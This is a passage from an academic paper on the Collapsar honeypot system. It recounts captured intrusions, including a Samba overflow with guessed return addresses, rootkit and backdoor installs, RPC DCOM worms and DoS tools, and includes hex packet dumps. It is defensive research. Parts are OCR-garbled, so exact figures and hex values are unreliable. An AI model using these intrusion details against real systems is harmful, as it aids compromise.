With the help of logging module kernort, Collap-
sar captured all information related to the attack, in-
cluding scanning attempts and intruder keystrokes
after the break-in (shown in Figure 6). The com-
plete log can be found at [18].

First, a scanning NetBIOS name packet was sent
to UDP port 137 and the honeypot running a vul-
nerable Samba server responded with MAC address
00-00-00-00-00-00, which indicated that a Samba
server is running. After receiving the response, a
TCP connection to port 139 was established and
several malicious packets guessing different return
addresses were sent in the hope of launching a
buffer overflow attack. The malicious packets con-
tained a port-binding shell-code, which will listen
on TCP port 45295 if correctly executed. Based
on information in the Collapsar log information, we
are able to identify six attempts to guess the return
address, i.e., Oxbffffed4, Oxbffffda8, Oxbffffc7c,
Oxbffffb50, Oxbffffa24, and Oxbffff8f8, in the ma-
licious code.

After successfully exploiting the Samba server, the
remote intruder gained the root privilege and in-
stalled a rootkit wrapper rkzz.tgz, which contains
a trojaned sshd backdoor and a sniffer program.
Once the sshd backdoor was installed, the intruder
quickly created an ssh connection using PUTTY-
0.53b, encrypting all subsequent traffic. Using the
ssh connection, the intruder downloaded a program
package skk.tgz, which is the SucKit rootkit. It
seemed that SucKit could not be installed success-
fully in the UML, so the intruder downloaded an-
other attack package, flood.tgz, and immediately

started a DoS attack. The attack package contained
several DoS attack tools, including the infamous
smurf, overdrop, and synsend.

Forensic analysis. Once the DoS attack was
started, the tarpitting module in Collapsar detected
a burst of out-going TCP-SYN packets, which in-
dicated a successful compromise and an on-going
DoS attack. The tarpitting module immediately
raised an alarm and the Samba honeypot was dis-
connected from the Collapsar center. Forensic anal-
ysis revealed the installation of many flooding tools
in /tmp/share/flood, which is consistent with the
log information generated by the Collapsar logging
module.

Another VMware-based virtual honeypot running
the same Samba service was also compromised by
the same IP, and an IRC bot, psyBNC [4], was in-
stalled enabling the intruder to remotely control the
compromised honeypot via an IRC network. With
VMware support, a snapshot of the honeypot was
taken, demonstrating VMware’s flexibility and con-
venience for forensic analysis over UML.

6.1.3 Windows XP/VMware Honeypot

The third incidence was related to the RPC DCOM vul-
nerability in the Windows Platform. We deployed a
VMware-based virtual honeypot running an unpatched
Windows XP Home Edition operating system in the Col-
lapsar center.

e Vulnerability description: Windows DCOM con-

tains a vulnerable Remote Procedure Call (RPC) in-
terface [21], which can be exploited to run arbitrary



code with local system privileges in an affected sys-
tem. After a successful compromise, the intruder
is free to take any action in the system including in-
stalling programs, modifying data, and creating new
accounts with full privileges.

Incident: A honeypot running the unpatched Win-
dows XP was deployed in the Collapsar center at
10:10:00PM on 11/26/2003, and was compromised
several times on 11/27/2003: one at 00:36:47AM
by the MSBIlast.A worm [15], one at 01:48:57AM
by the Enbiei worm (namely MSBIlast.F worm), and
another at 07:03:55AM by the Nachi worm [20].
Collapsar recorded all important log information
covering the infection process of each worm. The
complete log is available at [18].

For each worm, an initial TCP connection was es-
tablished with port 135 in the Windows XP honey-
pot (Nachi worm will use an ICMP echo request to
test whether the target is alive before the TCP con-
nection attempt). To the worm, a successful connec-
tion is an indication of possible existence of RPC
vulnerability. Once a connection had been estab-
lished, a malicious packet (in fact, two TCP seg-
ments) was sent, which caused stack buffer over-
flow in the RPC interface implementing DCOM ser-
vices. The malicious code contained a port-binding
shell-code, which would listen on TCP port 4444.
After a shell was invoked, each worm downloaded
and executed a copy of itself, completing one round
of worm propagation.

The MSBIlast and Enbiei worms mounted Denial
of Service (DoS) attacks against two specific web
sites, respectively. Interestingly, the Nachi worm
tried to terminate and delete the MSBIlast worm.
In addition, after installing tftpd.exe, the TCP/IP
trivial file transfer daemon, the Nachi worm tried
to download and install an RPC DCOM vulner-
ability patch named WindowsXP-KB823980-x86-
ENU.exe, so that no other worms or attacks could
break into the system by exploiting the same vul-
nerability.

Backdoor in action:

Figure 7 shows a screenshot re-constructed from
the honeypot’s snapshot. It illustrates the running
of Enbiei and Nachi worms. The original MSBlast
worm has been terminated and deleted by the Nachi
worm, which is the reason why no MSBIlast pro-
cess can be found in the screenshot. These worms
also generated a large volume of scanning packets
(ICMP echo request packets and TCP connection
attempts to port 139 of other hosts), which were mit-
igated by the Collapsar tarpitting module.

H Windows Task Manager

Fil= Options  View ShukDown  Help
Applications | PrDCESSE{:&; Performance | Mebworking | Users
. MSBlast.F Worm Nachi Worm
Image Marme User Mame CPU e Lsage b
B pabaln.exe Friemds 2,300
f SYSTEM a0 3,092 K
SYSTEM i1} 4,744 K
Friends oo 1,852 K
Friends oo 3,048 K
spoolsy, exe SYSTEM i} 4,384 K
explorer,exe Friends oo 11,180 K
sychost.exe LOCAL SERVICE an 3,692K
sychost.exe METWORK SERVICE 00 3,016 K
sychost.exe SYSTEM i} 13,004 K
sychost.exe SYSTEM on 3,7HE
lsass, Bxe SYSTEM an 1,045 K
SErYiCes . BXe SYSTEM i} 2,836 K
winlogon.exe SYSTEM i} 604 k.
C5r5s, e SYSTEM on 2,616K
M55 EBxe SYSTEM an 328K
taskmgr.exe Friends 0z 3,772k |
Syskem SYSTEM 0g 220K
| Sustem Tdle Proress  SYSTEM. 95 o M
[15how processes from all users

IProcesses: 19 CPU Usage: 5% Commit Charge: 66992K [ 63360

Figure 7: Screenshot re-constructed from honeypot snap-
shot: successful Windows XP break-in by MSBlast and
Nachi worms

e Forensic analysis. After disconnecting the in-
fected honeypot from the Collapsar center, a
quick examination revealed the following files:
enbiei.exe in directory C:\WINDOWS\system32\
and SVCHOST.exe and DLLHOST.exe in direc-
tory C:\WINDOWS\system32\wins\. File en-
biei.exe corresponds to the Enbiei worm; while SV-
CHOST.exe and DLLHOST.exe are for the Nachi
worm. We also expected that file msblast.exe would
exist in C:\WINDOWS\system32\ . However, it
had been deleted by the Nachi worm.

6.2 Attack Correlation

The Collapsar center creates exciting opportunities to
perform correlation and mining based attack analysis.
The current Collapsar center hosts only 40 virtual hon-
eypots, still far from a desirable scale for Internet-wide
attack analysis. However, current Collapsar log informa-
tion already demonstrates the potential of such capabil-
ity. In this section, we show two simple examples.



6.2.1 Stepping Stone Suspect

According the Collapsar log, a honeypot running a
vulnerable version of the Apache web server was
compromised by a remote machine With IP address
sshd backdoor were mstalled in the honeypot. The sshd
backdoor was configured with a password known to the
attacker. One minute later, an ssh connection was initi-
ated from a different remote IP address xx.yyy.zzz.3 us-
ing the same passwordI There is a possibility that ma-
the attack on the honeypot running the Apache server
was launched. This interesting log information is shown
in Figure 8. We note that such evidence is by no means
sufficient to confirm a stepping stone [42] case. How-
ever, with wider range of target networks and longer du-
ration of log accumulation, a future Collapsar center may
become capable of detecting stepping stones and tracing
back original attackers with satisfactory accuracy.

/* Exploit codes for Apache Chunk Handling Vul nerability */

17: 45:43. 014405 iii.jjj.kkk.11.4775 > aaa.bb.c.125.443: P 790:797(7) ack 5340
win 34880 <nop, nop, timestanp 22920631 5764072> (DF)

0x0000 4500 003b 71ef 4000 3306 fa74 cbhcé 860b 59.@3. .t ..
0x0010 800a 097d 12a7 0lbb 9b4c ee60 9b51 2c3e R S P e
0x0020 8018 8840 e50e 0000 0101 080a 015d bdb7 @ 1..
0x0030 0057 f3e8 2e2f 696e 7374 Oa W../inst

./;. SSi-i. connection agai nst sshd backdoor from another different 1P */

17:46: 46. 104626 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: S
389507617: 389507617(0) win 8760 <nss 536, nop, nop, sackOK> ( DF)
0x0000 4500 0030 lac2 4000 6f06 30b7 51c4 e503 .0, .0.Q.
0x0010 800a 097d 0466 07d3 1737 6a21 0000 0000 RS T
0x0020 7002 2238 16a3 0000 0204 0218 0101 0402 P8

17: 46: 46. 105445 aaa. bb. c. 125. cfinger > xx.yyy.zzz.3.1126: S

2758367448: 2758367448(0) ack 389507618 win 5840 <mss 1460, nop, nop, sackCK> (DF)

0x0000 4500 0030 0000 4000 4006 7a79 800a 097d E.0..@@zy...}

0x0010 51c4 e503 07d3 0466 a469 58d8 1737 6a22 Q... foix.7j"
0x0020 7012 16d0 211c 0000 0204 05b4 0101 0402 Pl

17:46: 46. 422319 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: . ack 1 win 9112 (DF)
0x0000 4500 0028 lac3 4000 6f06 30be 51c4 e503 E.(..@0.0.Q..

0x0010 800a 097d 0466 07d3 1737 6a22 a469 58d9 L) f LTTEX
0x0020 5010 2398 4118 0000 4100 0000 0000 P.# A

17:46: 46. 728800 aaa. bb.c. 125.cfinger > xx.yyy.zzz.3.1126: P 1 16( 15) ack 1wn
5840 (DF) [tos 0x10]

0x0000 4510 0037 55d5 4000 4006 248d 800a 097d E.7U.@@$ )
0x0010 51c4 e503 07d3 0466 a469 58d9 1737 6a22 Q.....f. iX 7J
0x0020 5018 16d0 ac5b 0000 5353 482d 312e 352d P....[..SSH1.5-
0x0030 312e 322e 3235 Oa 1 Z 25,

17: 46: 47. 050246 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: P 1:28(27) ack 16
win 9097 (DF)

0x0000 4500 0043 lac5 4000 6f06 30al 51c4 e503 .0.Q ..
0x0010 800a 097d 0466 07d3 1737 6a22 a469 58e8 Gf Tt X
0x0020 5018 2389 4c55 0000 5353 482d 312e 352d P #.LU. . SSHl 5-
0x0030 5075 5454 592d 5265 6¢65 6173 652d 302e PUTTY- Rel ease- 0.
0x0040 3533 0Oa 53.

Figure 8: Collapsar log information showing a possible
stepping stone attack

6.2.2 Network Scanning

Network scanning has become a common incident, with
the existence of various scanning methods such as ping
sweeping, port knocking, OS finger-printing, and fire-
walking. Figure 9 shows the ICMP (ping) sweeping
activity from the same source address (xx.yy.zzz.125)
against three honeypots within a very short period of time
(1.0 second). The honeypots are virtually present in three
different production networks. Based on the payload, it
is likely that a Nachi worm [20] is performing the scan.

14:49: 44. 139231 xx.yy.zzz.125 > aaa.bb.9.126: icnp: echo tequest
E..\0...s....&}

0x0000 4500 005c 30de 0000 7301 0798 0c26 797d
0x0010  800a 097e 0800 95dc 0200 Oace aaaa aaaa
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0030 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0040 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0050  aaaa

14:50: 21. 853938 xx.yy.zzz.125 > ccc.dd. 8.32: icnp: echo request
0x0000 4500 005c 2ece 0000 7301 0b06 0c26 797d E..\....s....&}
0x0010  800a 0820 0800 f2dd 0200 adcc aaaa aaaa e
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0030 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0040 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0050  aaaa

14:50: 50. 970419 xx.yy.zzz.125 > eee.ff.21.9: icnp: echo request
0x0000 4500 005c 3e04 0000 7301 eee6 0c26 797d E..\>..s....&}
0x0010 800a 1509 0800 16d1 0200 89d9 aaaa aaaa .
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0030 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0040 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
0x0050  aaaa

Figure 9: Collapsar log information showing a possible
ICMP sweeping scan

7 Related Work

Several recent projects are related to Collapsar. Among
the most notable are honeyd [36], Network Telescope
[35], Netbait [23], and SANS’s Internet Storm Center
[1].

Honeyd [36] is the most comparable work with re-
spect to support for multiple honeypots and traffic diver-
sion. Simulating multiple virtual computer systems at the
network level with different personality engines, honeyd
is able to deceive network fingerprinting tools and pro-
vide arbitrary routing topologies and services for an ar-
bitrary number of virtual systems. The most obvious dif-
ference between honeyd and Collapsar is that honeyd is
a low-interaction virtual honeypot framework, while all
honeypots in Collapsar are high-interaction virtual hon-
eypots. Honeyd is more scalable than Collapsar, since
every computer system in honeyd is simulated. On the
other hand, with high-interaction honeypots, Collapsar is
able to provide a more authentic environment for intrud-
ers to interact with and has a potential for early worm
detection.

Network Telescope [35] is an architectural framework
that provides distributed presence for the detection of
global-scale security incidents. Using a similar architec-
ture, Netbait [23] runs a set of simplified network ser-
vices in each participating machine. The services will
log all incoming requests and federate the data to a cen-
tralized server, so that pattern matching techniques can
be applied to identify well-known signatures of various
worms and viruses. Network Telescope and Netbait do
not involve real-time traffic diversion mechanisms. They
are not designed as an interactive environment where ac-
tivities of intruders are closely monitored and recorded.
The Internet Storm Center [1] was set up by SANS in-
stitute in November 2000 to gather log data from par-
ticipating intrusion detection sensors. The sensors are
distributed around the world. Again, it neither presents
an interactive environment to intruders, nor is capable of
real-time intruder traffic diversion.



Leveraging the power of individual honeypots, there
have been significant advances in recent years in attack
logging and analysis. Among the most notable are VM-
based retrospection [26], backtracker [32], ReVirt [25],
and forensix [27]. VM-based retrospection [26] is ca-
pable of inspecting inner machine states from a VM
monitor. Backtracker [32] and, similarly, forensix [27]
are able to automatically identify potential sequences of
steps that could occur during an intrusion, with the help
of system call recording. These results are highly effec-
tive and can be readily applied to Collapsar to improve
the capability of individual virtual honeypots.

Meanwhile, it has been noted that virtual honeypots
based on current VM enabling platforms could expose
certain VM foot-printing [12]. Such deficiency could di-
minish the value of virtual honeypots. This situation has
led to another round of “arms race”: methods such as
[33] have been proposed to minimize VM foot-printing,
although the technique in [33] is still VM-specific.

8 Conclusion

We have presented the design, implementation, and eval-
uation of Collapsar, a high-interaction virtual honeypot
architecture for network attack detention. Collapsar has
the following salient properties: centralized honeypot
management and decentralized honeypot presence. Cen-
tralized management ensures consistent expertise and
quality in deploying, administering, investigating, and
correlating multiple honeypots, while decentralized vir-
tual presence provides a wide diverse view of network
attack activities and achieves convenient production net-
work participation. Real-world deployment and sev-
eral representative attack incidents captured by Collapsar
demonstrate its effectiveness and practicality.
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